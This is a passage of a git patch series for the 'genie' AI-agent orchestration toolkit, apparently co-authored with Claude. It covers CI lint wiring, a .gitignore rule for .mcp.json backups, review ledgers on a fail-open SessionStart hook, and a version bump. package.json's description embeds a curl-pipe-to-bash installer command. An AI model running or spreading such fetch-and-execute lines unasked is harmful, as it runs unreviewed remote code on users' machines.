init's .mcp.json backup (#2836) - scripts/sync-plugin-skills.ts --check (byte-identical plugin skill mirror and the Kimi command orphan check added in #2826) ran only from its own main() and unit test; it is now `lint:plugin-skills`, wired into check, check:fast and ci.yml, and asserted by release-docs.test.ts. The drift it exists to catch (a shipped /genie:<cmd> pointing at a deleted skill) could otherwise still land. - genie init's backup-first retirement of a legacy `genie mcp` entry leaves `.mcp.json.genie-backup-<stamp>` beside the user's file; the scaffolded .gitignore now covers it so the retirement no longer dirties git status. Review of #2817 (M12, M15). Claude-Session: https://claude.ai/code/session_018QrkgYMEEhrWTUo5E7Nkjg Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- .github/workflows/ci.yml | 3 +++ package.json | 5 +++-- scripts/release-docs.test.ts | 3 +++ src/term-commands/init.test.ts | 8 +++++++- src/term-commands/init.ts | 11 ++++++++++- 5 files changed, 26 insertions(+), 4 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c77186bb8..720190338 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -132,6 +132,9 @@ jobs: - name: Shipped plugin executable static checks run: bun run lint:plugin-executables + - name: Plugin skill mirror + Kimi command orphan check + run: bun run lint:plugin-skills + - name: Fresh-install smoke run: bun run scripts/fresh-install-smoke.ts diff --git a/package.json b/package.json index 7892a23b5..3ae7fc1e9 100644 --- a/package.json +++ b/package.json @@ -37,10 +37,11 @@ "hooks:bind": "bun scripts/hook-content-binding.ts --write", "lint:hook-content": "bun scripts/hook-content-binding.ts --check", "lint:plugin-executables": "bun scripts/plugin-executables-check.ts", + "lint:plugin-skills": "bun scripts/sync-plugin-skills.ts --check", "smoke:codex": "bun run scripts/codex-plugin-only-smoke.ts", "smoke:codex-discovery": "bun run scripts/codex-debug-discovery-smoke.ts", - "check": "bun run typecheck && bun run lint && bun run dead-code && bun run skills:lint && bun run wishes:lint && bun run lint:complexity-budget && bun run lint:council-workflow && bun run lint:hook-bundles && bun run lint:orca-bundle && bun run lint:hook-budgets && bun run lint:hook-content && bun run lint:plugin-executables && bun test", - "check:fast": "bun run typecheck && bun run lint && bun run dead-code && bun run skills:lint && bun run wishes:lint && bun run lint:complexity-budget && bun run lint:council-workflow && bun run lint:hook-bundles && bun run lint:orca-bundle && bun run lint:hook-budgets && bun run lint:hook-content && bun run lint:plugin-executables", + "check": "bun run typecheck && bun run lint && bun run dead-code && bun run skills:lint && bun run wishes:lint && bun run lint:complexity-budget && bun run lint:council-workflow && bun run lint:hook-bundles && bun run lint:orca-bundle && bun run lint:hook-budgets && bun run lint:hook-content && bun run lint:plugin-executables && bun run lint:plugin-skills && bun test", + "check:fast": "bun run typecheck && bun run lint && bun run dead-code && bun run skills:lint && bun run wishes:lint && bun run lint:complexity-budget && bun run lint:council-workflow && bun run lint:hook-bundles && bun run lint:orca-bundle && bun run lint:hook-budgets && bun run lint:hook-content && bun run lint:plugin-executables && bun run lint:plugin-skills", "verify:release": "scripts/verify-release.sh" }, "dependencies": { diff --git a/scripts/release-docs.test.ts b/scripts/release-docs.test.ts index 319d19772..acf491936 100644 --- a/scripts/release-docs.test.ts +++ b/scripts/release-docs.test.ts @@ -732,6 +732,9 @@ describe('Group E release and documentation contracts', () => { expect(pkg.scripts['check:fast']).toContain('bun run lint:orca-bundle'); expect(workflow).toContain('bun run lint:hook-content'); expect(workflow).toContain('bun run lint:plugin-executables'); + expect(workflow).toContain('bun run lint:plugin-skills'); + expect(pkg.scripts.check).toContain('bun run lint:plugin-skills'); + expect(pkg.scripts['check:fast']).toContain('bun run lint:plugin-skills'); expect(pkg.scripts.check).toContain('bun run lint:hook-content'); expect(pkg.scripts['check:fast']).toContain('bun run lint:hook-content'); expect(pkg.scripts.check).toContain('bun run lint:plugin-executables'); diff --git a/src/term-commands/init.test.ts b/src/term-commands/init.test.ts index e2d9aa190..5219a86e4 100644 --- a/src/term-commands/init.test.ts +++ b/src/term-commands/init.test.ts @@ -14,7 +14,13 @@ import { tmpdir } from 'node:os'; import { join } from 'node:path'; const CLI = join(import.meta.dir, '..', 'genie.ts'); -const GITIGNORE_RULES = ['.genie/genie.db', '.genie/genie.db-wal', '.genie/genie.db-shm', '.genie/launch/']; +const GITIGNORE_RULES = [ + '.genie/genie.db', + '.genie/genie.db-wal', + '.genie/genie.db-shm', + '.genie/launch/', + '.mcp.json.genie-backup-*', +]; let dir: string; diff --git a/src/term-commands/init.ts b/src/term-commands/init.ts index 6f13ae93c..bfd171022 100644 --- a/src/term-commands/init.ts +++ b/src/term-commands/init.ts @@ -72,8 +72,17 @@ const INDEX_SKELETON = `# Plans Index * Operational artifacts that must never be committed. The `.genie/launch/` * rule is legacy residue protection — nothing writes there since the launch * command was removed, but existing kickoff prompts stay ignored. + * `.mcp.json.genie-backup-*` is the backup-first copy `genie init` writes + * next to a user-owned `.mcp.json` when it retires a legacy `genie mcp` + * registration; it is an operational artifact, not project content. */ -const GITIGNORE_RULES = ['.genie/genie.db', '.genie/genie.db-wal', '.genie/genie.db-shm', '.genie/launch/']; +const GITIGNORE_RULES = [ + '.genie/genie.db', + '.genie/genie.db-wal', + '.genie/genie.db-shm', + '.genie/launch/', + '.mcp.json.genie-backup-*', +]; // ============================================================================ // Git repo resolution From 0d0641f97b800f344349a1e97f47a8ffef0302e3 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 22:57:26 -0300 Subject: [PATCH 38/45] docs(wish): record re-review #1 of #2817, refresh the fix disposition, retire the UI entries (#2837) Orchestrator write for re-review gaps M13/M14: the dual-mode Orca wish now carries the re-review #1 evidence block (pinned f45d634b8, FIX-FIRST on the new H7 SessionStart-hook gap), a disposition that names every merged and open fix PR incl. the two main-side hotfixes, and the recorded decision that there is no Genie UI besides the Orca integration. INDEX entries for genie-ui-bridge, genie-ui-dash and genie-boards-ui record the retirement. Claude-Session: https://claude.ai/code/session_018QrkgYMEEhrWTUo5E7Nkjg Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- .genie/INDEX.md | 8 ++-- .../genie-dual-mode-orca-plugin/WISH.md | 37 +++++++++++++++---- 2 files changed, 33 insertions(+), 12 deletions(-) diff --git a/.genie/INDEX.md b/.genie/INDEX.md index 07a7d3695..0514406be 100644 --- a/.genie/INDEX.md +++ b/.genie/INDEX.md @@ -14,7 +14,7 @@ - khal-app-kit-identity + genie-remote-ssh — **RELOCATED 2026-07-23** with the whole khal-native-desktop track to `khal-os/genie-desktop:.genie/` (branch `wish/khal-native-theme`; Felipe: desktop context lives in the desktop repo). Second and third of the Theme→Identity→SSH order, both WRS 60 simmering there -- [genie-boards-ui](brainstorms/genie-boards-ui/DRAFT.md) — WRS 70; genie desktop boards module: ABSORB of the G4 kanban decided by Felipe; tab + split-toggle layout tentatively locked ("that looks good", confirm at crystallize); archive section + per-project .genie-commit checkboxes added to scope; roadmap shape (per-project board + groom-with-agent task) recommended, awaiting Felipe; depends on ui-bridge board-payload extension (protocol 1.1) + genie-ui-dash G5 (2026-07-21) +- [genie-boards-ui](brainstorms/genie-boards-ui/DRAFT.md) — WRS 70; genie desktop boards module: ABSORB of the G4 kanban decided by Felipe; tab + split-toggle layout tentatively locked ("that looks good", confirm at crystallize); archive section + per-project .genie-commit checkboxes added to scope; roadmap shape (per-project board + groom-with-agent task) recommended, awaiting Felipe; depended on ui-bridge board-payload extension (protocol 1.1) + genie-ui-dash G5 (2026-07-21) — **both retired 2026-08-30** (#2834, Felipe: Orca integration is the only UI); this draft is superseded unless re-scoped onto Orca - [intent-to-wish-compiler](brainstorms/intent-to-wish-compiler/DRAFT.md) — **LIVE (re-verified 2026-07-21):** WRS 92; Demand→Patch/Standard/Program router + circuit-breaker (flex cuts autonomous, payout cuts human-only); invisible routing compiled from intent — program-scale, splits at pour time - [brainstorm-domain-map](brainstorms/brainstorm-domain-map/DRAFT.md) — **LIVE (re-verified 2026-07-21):** WRS 80; executable spec compiler (intent → requirement-ID → oracle-class → execution → proof-packet); deterministic gates, residual-risk review only; subjective-truth ownership still open (umbrella G8) ## Ready @@ -32,7 +32,7 @@ ## Poured -- [genie-dual-mode-orca-plugin — DESIGN](brainstorms/genie-dual-mode-orca-plugin/DESIGN.md) → [WISH](wishes/genie-dual-mode-orca-plugin/WISH.md) — **IN_PROGRESS** (plan APPROVED/SHIP 2026-08-29 design digest `2499668e…`; A1–A7 merged to dev #2808–#2820; rolling promotion #2817 dev→main reviewed **FIX-FIRST** 2026-08-30 at `eccf0ae4a` by independent reviewer + supply-chain/architecture lenses: 6 HIGH — doctor/ui-bridge breach the Orca barrier, update aborted delivery on a failed Orca probe, adapter ignores `timeoutMs`, `run-use` read-back TypeError, unbundled-parity Orca entrypoint; 0 CRITICAL). Fixes merged #2821/#2823/#2825, open #2824/#2827/#2822/#2826, in flight adapter-readback + mode-guards; re-review required before human promotion. Also found and fixed outside wish scope: `version.yml` runs from main so the ninth version field never synced on dev (no dev tarball after v5.260829.4); `tar -xzf` without `-p` broke `genie update` under umask 077 +- [genie-dual-mode-orca-plugin — DESIGN](brainstorms/genie-dual-mode-orca-plugin/DESIGN.md) → [WISH](wishes/genie-dual-mode-orca-plugin/WISH.md) — **IN_PROGRESS** (plan APPROVED/SHIP 2026-08-29 design digest `2499668e…`; A1–A7 merged to dev #2808–#2820). Rolling promotion #2817 dev→main: review #0 at `eccf0ae4a` FIX-FIRST (6 HIGH, 0 CRITICAL) → fixes #2821/#2823/#2824/#2825/#2826/#2827/#2829/#2830/#2834 merged; re-review #1 at `f45d634b8` FIX-FIRST (all prior HIGHs closed, 3983 tests pass; one new HIGH H7 — SessionStart hook opened genie.db under Orca authority → #2835; M12/M15 → #2836). Main-side hotfixes awaiting human merge: #2822 (ninth version field), #2833 (dogfood harness accepts retired Codex route — why v5.260830.x never published). Re-review #2 pending after #2835/#2836; follow-ups M2/M3/M4/M9/M10 recorded in WISH.md. Also fixed outside wish scope: `tar -xzf` without `-p` broke `genie update` under umask 077 (#2821/#2824) - [delegate-bridge — DESIGN](brainstorms/delegate-bridge/DESIGN.md) → [WISH](wishes/delegate-bridge/WISH.md) — **APPROVED 2026-08-12** (design SHIP digest `a720e84c…` after 1 fix loop — the HIGH was prepare-cadence: turn-1-only, existence-refusal ≠ dirtiness; plan SHIP after 1 fix loop — the HIGH was the doctor module path, all loop-1 advisories applied in-document): W2+W3 of cross-agent-delegation — turn-per-launch bridge (`task delegate [--continue]`, spike-first, `requireRosterAgent` at consumption, adapter cards ×5 with hermes stateless, fail-open + single first-turn `-r1` orphan retry, timeline-recorded orphan doctor check) and `task fan` fan-out with ratification picker. 7 groups A (unblocked W1 handoffs) · S gate · B ∥ C · D ∥ E · F live smoke; cards `t_msp6a1ql…`–`t_msp6a25s…`, wish card `t_msp4fp6ce714c8be` task-blocked on remotty `headless-turn-open` (seeded in remotty's `.genie` 2026-08-11, board card there) **Amendment recorded 2026-08-13 (spawn-context-contract group reversals):** S–F turn transport re-bases to live herdr sessions; the block re-targets from `headless-turn-open` to the herdr 0.3 swap + `engine-turn-verbs` (remotty card `t_msqkkjt221792465`), recorded on the umbrella + group cards in the board snapshot. - [cross-agent-delegate — DESIGN](brainstorms/cross-agent-delegate/DESIGN.md) → [WISH](wishes/cross-agent-delegate/WISH.md) — **APPROVED 2026-08-11** (design SHIP digest `c15d6a9e…` after 2 fix loops; plan SHIP with all 7 findings applied in-document, incl. the A1/A2 gate split; re-opened orca-inspired 2026-08-10, umbrella G6): W1 declared-routing wish — `assigned_agent`+`assigned_reason` on the card (default = current agent), roster allowlist (claude/codex/pi/hermes/prime), `create --agent/--why` + `task assign --clear`, lane-path-only `board --json` (laneless stays byte-frozen), roadmap-sync lockstep; 4 groups A1 → A2 ∥ B ∥ C, 5 board cards. Follow-on `delegate-bridge` poured 2026-08-12 (entry above) with the 5 logged residuals resolved in its own SHIP'd design; unblocks remotty's `assigned_agent` rendering ask @@ -55,9 +55,9 @@ - [boards-first-class](brainstorms/boards-first-class/DESIGN.md) · [WISH](wishes/boards-first-class/WISH.md) — **SHIPPED 2026-07-21 — PR [#2611](https://github.com/automagik-dev/genie/pull/2611) merged to dev `fa163bd2` (16/16 CI); post-merge live QA open (card in Review lane)**: all 3 groups SHIP loop 0 (`8ab4d0e5`+`9386accc` ∥ `8368705c` ∥ `45ab48a8`); ultracode 4-lens verify found 1 HIGH (releaseTask done→ready resurrection race, empirically reproduced) → fixed `56e59632` (atomic CAS + 2-process regression); full-suite validation caught a plugin-mirror digest drift → fixed `22d36078`; full `bun test` 2067/0; live: roadmap seeded 13 cards, drift lint's first run caught 2 real INDEX drifts (fixed `1ca40d21`), doctor 13 ok / 0 drift. Plan review was SHIP (1 fix loop): genie lifecycle as kanban — board create/list + lifecycle lanes (Idea→Brainstorm→Wish→Work→Review→Done), `genie idea` capture, task_events timeline (new additive table; stage_log retained+backfilled), runtime identity + heartbeat liveness (▶/⏸/☠), enforced blocks (single carved checkout exception), meeseeks report events, jar↔INDEX drift lint via lifecycle-slug join. 3 groups: A engine → B timeline+runtime (Fable gate) ∥ C jar unification - [token-efficiency-rebaseline](brainstorms/token-efficiency-rebaseline/DESIGN.md) — WRS 100; ratified Fix → Spend → Workflows sequence; first wish is routing-delivery-fix (2026-07-11) -- [genie-ui-bridge — DESIGN](brainstorms/genie-ui-bridge/DESIGN.md) → [WISH](wishes/genie-ui-bridge/WISH.md) — **SHIPPED 2026-07-21**: G1 `aadbae83` + G2 `2ff71abe` (ui-bridge command, protocol 1.0) execution-reviewed SHIP; PR [#2610](https://github.com/automagik-dev/genie/pull/2610) MERGED to dev `600c18fe` (CI 16/16) + post-merge scratch-client QA. Unblocked genie-ui-dash G4/G5 (merge preceded both reviews); Felipe ratified channel/home/timing via explicit picker +- [genie-ui-bridge — DESIGN](brainstorms/genie-ui-bridge/DESIGN.md) → [WISH](wishes/genie-ui-bridge/WISH.md) — **RETIRED 2026-08-30** (#2834; Felipe: "theres no more genie ui, only 'ui' is orca integration" — `genie ui-bridge` is now a one-line refusal stub, the MCP transport modules and UI-BRIDGE.md are deleted). Prior record — **SHIPPED 2026-07-21**: G1 `aadbae83` + G2 `2ff71abe` (ui-bridge command, protocol 1.0) execution-reviewed SHIP; PR [#2610](https://github.com/automagik-dev/genie/pull/2610) MERGED to dev `600c18fe` (CI 16/16) + post-merge scratch-client QA. Unblocked genie-ui-dash G4/G5 (merge preceded both reviews); Felipe ratified channel/home/timing via explicit picker - [genie-ui — DESIGN](brainstorms/genie-ui/DESIGN.md) → [WISH](wishes/genie-ui/WISH.md) — **SUPERSEDED as the UI direction 2026-07-21**: shipped the fresh-substrate browser shell (merged PR #2609), but Felipe rejected that substrate after seeing it live; the UI direction moved to [genie-ui-dash](wishes/genie-ui-dash/WISH.md). Salvage value retained: the ~1,270-LoC chat backend (no PTY imports) remains conductor-wish substrate. -- [genie-ui-dash — WISH](wishes/genie-ui-dash/WISH.md) — direct wish (no brainstorm; Felipe-ratified verbatim), plan SHIP + amendment re-review SHIP; **ALL FIVE GROUPS EXECUTED 2026-07-21** on private `khal-os/genie-desktop` branch `genie-dash` @ `9bf43fc`: base+build proof · agent-adapter contract (zero-behavior-change proven) · codex/hermes/rlmx adapters + picker · genie kanban as ui-bridge client · hire roster via roster_hire (single write path). IN_PROGRESS pending Felipe GUI QA + rlmx live spawn; polish-pass LOW backlog consolidated in the G5 disposition. +- [genie-ui-dash — WISH](wishes/genie-ui-dash/WISH.md) — direct wish (no brainstorm; Felipe-ratified verbatim), plan SHIP + amendment re-review SHIP; **ALL FIVE GROUPS EXECUTED 2026-07-21** on private `khal-os/genie-desktop` branch `genie-dash` @ `9bf43fc`: base+build proof · agent-adapter contract (zero-behavior-change proven) · codex/hermes/rlmx adapters + picker · genie kanban as ui-bridge client · hire roster via roster_hire (single write path). **RETIRED 2026-08-30** with its ui-bridge client (Felipe: no more Genie UI; Orca integration is the only UI) — was IN_PROGRESS pending Felipe GUI QA + rlmx live spawn; polish-pass LOW backlog consolidated in the G5 disposition. - [WISH: stable-release-security-gate](wishes/stable-release-security-gate/WISH.md) · [brainstorm](brainstorms/stable-release-security-gate/DRAFT.md) — **DONE 2026-07-27 (6/6)** — closed by the first full-pipeline stable release v5.260727.5 (run 30240023804: production gate demonstrated live with dispatcher ≠ approver, 36 assets, immutable, latest/homolog/dev manifests advanced); was IN_PROGRESS 4/6 since 2026-07-25: the stable-channel unblock for inherited Ultra findings F16 (CRITICAL arbitrary-ref stable publish, all 4 dispatch entry points) / F17 (unbound run_id/version inputs) / F18 (unpinned actions, unfrozen installs, broad permissions) / F31 (non-transactional swap; verify-release.sh can't verify real releases). G1 repo-code hardening dispatched to engineer on `wish/stable-release-security-gate`; G2 GitHub Environment (`production` + prevent-self-review) / `v*` ruleset + exported evidence is **Felipe-owned**, depends-on G1 - [hermes-homogeneous-integration](brainstorms/hermes-homogeneous-integration/DESIGN.md) · [WISH](wishes/hermes-homogeneous-integration/WISH.md) — **SHIPPED** (2026-07-13): PR [#2565](https://github.com/automagik-dev/genie/pull/2565) merged to dev `40512016`, released `v5.260713.2` (dev channel); all 6 groups SHIP-reviewed (G2 one fix loop), final gate SHIP; live isit dogfood PASS ([qa/](wishes/hermes-homogeneous-integration/qa/live-dogfood-20260713.md)) — 23 product skills first-class in Hermes, `mcp_servers.genie` + backups in the live profile, 4/4 doctor legs green. **2 dogfood defects filed as follow-up tasks:** D1 duplicate nested `external_dirs` key on merge into block `skills:` (PyYAML last-wins keeps it working); D2 `[auto-version]` skips the plugin.yaml YAML sync (shipped plugin reads 5.260712.2 vs genie 5.260713.2) — both fixed in PR [#2566](https://github.com/automagik-dev/genie/pull/2566) (merged to dev). Also open: khaw-bridge re-home to KHAW plugin; 2 codex-manifest failures pre-existing on main - [WISH: PR #2545 Ultra release-gate remediation](wishes/pr-2545-ultra-release-gate/WISH.md) — **DONE** (closed 2026-07-24): PR #2545 merged via `6f682e2b`; follow-up #2556 merged into `dev` at `a7c3c7ce` and promoted via #2557; successor #2562 merged as `137dede8` on 2026-07-12 with 15 checks passing on its exact head `bd8c6128`, and is now on `main`. Both HIGH follow-ups ship fixed (F42 `09b368a5`, F43 `8e147d87`), the seven-lane replay ran at `8e147d87` with its 12 findings dispositioned F44–F52, and the metrics-updater routine has been silent since 2026-07-14. Recorded as unmet rather than waived: **F02** — no independent `APPROVED` review exists on #2562. The F16–F18/F31 stable-promotion block cleared when [stable-release-security-gate](wishes/stable-release-security-gate/WISH.md) closed DONE 2026-07-27 (first full-pipeline stable v5.260727.5, run 30240023804); installed hook hashes remain untrusted. diff --git a/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md b/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md index 4031a2e0f..38bf2ab5f 100644 --- a/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md +++ b/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md @@ -383,14 +383,35 @@ done outside the wish scope during the same review: `version.yml` executes from `main` under `workflow_run`, so the ninth version field never synced on dev and no dev tarball shipped after v5.260829.4; `tar -xzf` without `-p` broke `genie update` under umask 077. -- **Fix disposition (2026-08-30):** merged to `dev` — #2821 (admission tolerates umask-restricted payloads), - #2823 (committed Orca manifest version no longer gates dev releases), #2825 (H6 esbuild parity gate for - `orca-entrypoint.min.js`, wired into `check`/CI/`build-binary.sh`). Open — #2824 (`tar -xzpf` in both extractors), - #2827 (H3: ownership refresh runs after `publishCodexDeliveryFacts`, advisory), #2822 (`version.yml` ninth field → - `main`), #2826 (M7/M8 docs, Kimi `pm.md`→`quick.md`, orphan check); in flight — `fix/orca-adapter-readback` - (H4, H5, M1) and `fix/orca-mode-guards` (H1, H2, M6). Per-group acceptance boxes stay unticked until the clean - re-review; #2817 is not approved for human promotion before that re-review returns SHIP. - +- **Fix disposition (2026-08-30, refreshed after re-review #1):** merged to `dev` — #2821 (admission tolerates + umask-restricted payloads), #2823 (committed Orca manifest version no longer gates dev releases), #2824 (`tar -xzpf` + in both extractors), #2825 (H6 esbuild parity gate for `orca-entrypoint.min.js`), #2826 (M7/M8 docs, Kimi + `pm.md`→`quick.md`, orphan check), #2827 (H3 ownership refresh after `publishCodexDeliveryFacts`, advisory), + #2828 (ledger), #2829 (H4 `timeoutMs` bound, H5 `run:null` read-back, M1 flaky test, stream faults, doctor + resilience), #2830 (H1 doctor + M6 board/idea guards, dead `genie mcp` entry retired from `.mcp.json`), + #2834 (H2 resolved by retiring `genie ui-bridge` outright — see the decision below). Open to `dev` — #2835 (H7 + SessionStart hook), #2836 (M12 gate wiring, M15 `.mcp.json.genie-backup-*` ignore). Open to `main` (human merge; + the release pipeline runs `version.yml`, `release-guard.sh` and the dogfood harness from `main`, so these cannot + take effect from dev) — #2822 (ninth version field), #2833 (harness accepts the retired Codex project route; why + `v5.260830.2/.3` built, signed and never published). Follow-ups recorded, not blocking promotion — M2 (real-runtime + smoke never executes; needs one transcript against a real Orca host), M3/M4 (read-back over-strictness: + uncapped `task-list`, optional `model`/`effort` compared strictly), M9 (Hermes model surface lost board/task + tools), M10 (dead launcher validator in `src/lib/codex-project-mcp.ts`). +- **Re-review #1 of #2817 (dev→main) — FIX-FIRST (2026-08-30):** same reviewer profile, pinned snapshot + `f45d634b856a834bf0660e2b1cdbe1eda21edb04` (dev tip incl. #2834). All six previous HIGH gaps and both root causes + verified closed with evidence (doctor, ui-bridge, update probe, adapter deadline, `run:null` read-back, bundle + parity, `--verify-source` OK at 5.260830.5, `-xzpf`). Validation: `bun run check:fast` PASS; `bun run build` PASS; + `bun test src` 2772/0, `bun test scripts` 432 pass / 5 fail (all `reconcile-release-assets` timeouts, byte-identical + on `main`), `bun test tests plugins` 779 pass / 1 skip — aggregate 3983 pass. One NEW HIGH: **H7** the shipped + SessionStart hook (`plugins/genie/scripts/session-context.cjs`, registered by all three manifests) opened + `.genie/genie.db` without consulting `orchestration.mode`, creating `-wal`/`-shm` and injecting local task state + under Orca authority (A1 breach, same class as H1) — fixed in #2835 with a fail-closed in-hook authority read and a + fixture that fails on the previous bundle. New MEDIUM: M12 Kimi orphan check unwired (#2836), M13 this ledger stale + (this entry), M14 `ui-bridge` retirement is outside the wish scope and orphaned three INDEX entries (decision and + corrections below), M15 `genie init` backup untracked (#2836). Re-review #2 required after #2835/#2836 land. +- **Decision (M14, recorded by the orchestrator):** Felipe's words to the fixing session on 2026-08-30 — *"theres no + more genie ui, only 'ui' is orca integration"*. `genie ui-bridge` and the MCP transport it kept alive are retired + (#2834); INDEX entries for `genie-ui-bridge`, `genie-ui-dash` and `genie-boards-ui` now record the retirement. - **Current canonical plan — SHIP:** independent reviewer `term_6c98a3c8-7ac8-4274-a8e9-ade35e2d82dd` reviewed reviewable DESIGN content SHA-256 `2499668e81fe3d3f3f7f15bac0246c3e0647a036e9441fa882dcf6a8ecb92bf9` at `2026-08-29T18:13:16Z`. The exact four-document set is approved and A1–A7 are authorized in the recorded DAG. From f5ca6df94118729c3e8d5100d957768cbae8a76d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sun, 30 Aug 2026 01:59:29 +0000 Subject: [PATCH 39/45] chore(version): bump to 5.260830.7 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 341ea3a86..49cca957a 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260830.6", + "version": "5.260830.7", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 3ae7fc1e9..28041a761 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260830.6", + "version": "5.260830.7", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 74de2efd3..fe403e448 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.6", + "version": "5.260830.7", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index bc49b740d..e369820b8 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.6", + "version": "5.260830.7", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index 5fb318bd6..b0867bb24 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.6", + "version": "5.260830.7", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index f86063a43..69d287f78 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260830.6", + "version": "5.260830.7", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 639b3e73e..c0f02902d 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260830.6 +version: 5.260830.7 description: "Native Hermes surface for Genie orchestration: read-only status, work-plan and review-plan tools, hooks, commands, and a thin cockpit skill." provides_tools: # Exactly three native read-only planning/status tools. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index 08ac0f6ba..c479467ae 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260830.6", + "version": "5.260830.7", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From 1db029df434bed92597a7f65f235d273c7280e0c Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 23:16:26 -0300 Subject: [PATCH 40/45] fix(hooks): session-start authority read mirrors the cli schema exactly and fails closed (#2838) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Re-review #2 (M16): the hook's self-contained authority read diverged from src/lib/orchestration-mode.ts in the fail-OPEN direction — it accepted {"orchestration":{}} and extra keys under orchestration as standalone (the CLI throws invalid_orchestration_authority on both) and honored a GENIE_CONFIG_FILE override the CLI never implemented, so a doc-following operator could get the CLI refusing local lifecycle while the hook opened genie.db on every session start. Mirror the strict schema exactly: same path ($GENIE_HOME/config.json), mode required, no other keys, anything else fails closed. The barrier fixture now asserts every rejected shape and both accepted shapes; session-context.cjs regenerated. M17: the shipped plugin README's H3 row now lists the two new degradation causes (Orca authority; unreadable/invalid orchestration config). Claude-Session: https://claude.ai/code/session_018QrkgYMEEhrWTUo5E7Nkjg Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- plugins/genie/README.md | 2 +- plugins/genie/scripts/session-context.cjs | 14 +++++----- plugins/genie/scripts/src/session-context.ts | 19 +++++++++----- src/lib/v5/authority-barriers.test.ts | 27 ++++++++++++++++---- 4 files changed, 42 insertions(+), 20 deletions(-) diff --git a/plugins/genie/README.md b/plugins/genie/README.md index 4f2b0e92f..1dd7224bc 100644 --- a/plugins/genie/README.md +++ b/plugins/genie/README.md @@ -51,7 +51,7 @@ H4 and H6 definitions carry the literal SHA-256 of `scripts/dispatch-runtime.cjs | ID | Event | Exact behavior | Allowed side effect | |----|-------|----------------|---------------------| -| H3 | `SessionStart` | Reads `.genie/genie.db` read-only via `node:sqlite` (**minimum Node 22.13** — declared here because all three manifests run the hook as `node …/session-context.cjs`, where `bun:sqlite` does not exist) and resolves the session branch through the shared `resolveWishBranch`: a `wish/<slug>` branch injects exactly that wish's status, base/ready task counts, its task cards, and the plan path; otherwise the session agent's claimed tasks (`GENIE_AGENT_ID`, name fallback); otherwise one compact `repo, branch, active wishes` line — never a listing. An absent/unreadable genie.db, an unsupported .git layout, or a Node without `node:sqlite` degrades to a bounded wish-file scan (≤64 candidates/256 KiB), each cause logged distinguishably on stderr | Read-only filesystem + SQLite access, ≤2 KiB out | +| H3 | `SessionStart` | Reads `.genie/genie.db` read-only via `node:sqlite` (**minimum Node 22.13** — declared here because all three manifests run the hook as `node …/session-context.cjs`, where `bun:sqlite` does not 